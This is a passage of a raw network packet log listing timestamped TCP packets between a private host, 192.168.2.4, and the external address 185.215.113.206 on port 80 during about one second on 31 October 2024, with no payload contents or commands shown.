Oct 31, 2024 17:26:26.193273067 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.193326950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.193365097 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.274848938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.274866104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.274877071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.274919033 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.274966955 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.275120974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.275163889 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.275521994 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.275533915 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.275543928 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.275554895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.275574923 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.275590897 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.275598049 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.275634050 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.275634050 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.275648117 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.275660038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.275682926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.275702000 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.277167082 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.277179003 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.277189016 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.277225018 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.277245998 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.310638905 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.310676098 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.310687065 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.310786963 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.310966015 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.311019897 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.311072111 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.311081886 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.311136007 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.311167002 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.311177969 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.311186075 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.311203003 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.311217070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.311223030 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.311258078 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.394731998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.394773006 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.394785881 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.394850969 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.394886971 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.396348000 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.396359921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.396372080 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.396384954 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.396404982 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.396420956 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.396456003 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.398014069 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.398024082 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.398035049 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.398060083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.398066998 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.398077965 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.398082018 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.398101091 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.398113012 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.398123980 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.398154974 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.398435116 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.398448944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.398478985 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.398494959 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.400062084 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.400073051 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.400084972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.400110960 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.400124073 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.429495096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.429539919 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.429559946 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.429573059 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.429593086 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.429601908 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.429656982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.429668903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.429675102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.429750919 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.429984093 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.429996014 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.430032015 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.430037975 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.430047989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.430078030 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.516683102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.516695976 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.516710997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.516849995 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.518884897 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.518912077 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.518922091 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.518933058 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.518946886 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.518965960 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.518978119 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.519004107 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.519021034 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.519026041 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.519033909 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.519045115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.519057989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.519059896 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.519069910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.519078970 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.519082069 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.519089937 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.519110918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.519117117 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.519175053 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.520791054 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.520802021 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.520823002 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.520852089 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.520874023 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.546807051 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.546819925 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.546829939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.547027111 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.548408985 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.548419952 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.548430920 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.548465014 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.548485994 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.549035072 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.549046040 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.549055099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.549084902 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.549113989 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.590534925 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.590569973 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.590677023 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.635061026 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.635097027 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.635108948 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.635157108 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.635180950 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.636275053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.636286974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.636297941 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.636337996 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.636356115 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.636485100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.636538982 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.636590958 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.636603117 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.636640072 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.636923075 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.636967897 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.636976004 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.636987925 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.637017012 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.637038946 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.637201071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.637212038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.637223005 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.637244940 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.637260914 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.637419939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.637466908 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.637474060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.637485027 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.637511015 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.637547970 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.689933062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.689965010 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.689977884 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.690016985 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.690037012 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.690042973 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.690049887 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.690062046 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.690079927 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.690110922 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.690249920 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.690262079 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.690274000 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.690290928 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.690299034 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.690315008 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.690344095 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.752830029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.752852917 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.752867937 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.752897978 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.752948046 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.754403114 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.754460096 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.754520893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.754533052 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.754569054 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.755300999 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.755331993 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.755353928 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.755373001 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.755947113 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.755958080 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.755970955 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.755996943 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.756017923 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.756088018 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.756099939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.756109953 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.756134987 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.756155968 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.757200956 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.757211924 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.757257938 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.786462069 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.786485910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.786499023 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.786535978 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.786561012 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.786849976 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.786868095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.786900043 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.786930084 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.807949066 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.807961941 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.807972908 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.808027029 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.808095932 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.808109045 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.808120012 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.808137894 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.808163881 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.808954954 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.808965921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.809006929 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.873991013 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.874006987 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.874018908 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.874078035 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.874109983 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.874113083 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.874161005 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.876435995 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876499891 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.876508951 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876523018 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876548052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.876564026 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.876691103 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876703024 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876743078 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.876745939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876760006 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876771927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876785040 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.876822948 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.876847982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876861095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876872063 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876884937 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876897097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.876899958 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.876919985 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.876935005 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.909775019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.909835100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.909847021 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.909864902 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.909883022 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.909900904 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.910346985 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.910368919 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.910408974 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.942007065 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.942033052 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.942044973 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.942120075 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.942143917 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.942446947 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.942459106 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.942468882 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.942485094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.942502022 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.942534924 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:26.947357893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.947372913 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:26.947416067 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.003887892 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.003911972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.003923893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.003950119 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.003976107 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.004048109 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.004087925 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.004113913 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.004126072 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.004149914 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.004156113 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.004167080 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.004205942 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.004476070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.004488945 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.004499912 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.004512072 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.004517078 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.004525900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.004532099 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.004563093 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.004825115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.004837036 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.004848003 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.004868984 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.004887104 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.031296968 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.031310081 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.031327009 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.031378984 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.031400919 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.033109903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.033122063 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.033137083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.033160925 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.033179998 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.078736067 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.078752041 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.078824997 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.078860044 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.078903913 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.079045057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.079056025 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.079066038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.079077959 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.079092979 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.079116106 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.079360008 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.079372883 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.079396963 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:27.079418898 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:27.079437971 CET	62829	80	192.168.2.4	185.215.113.206
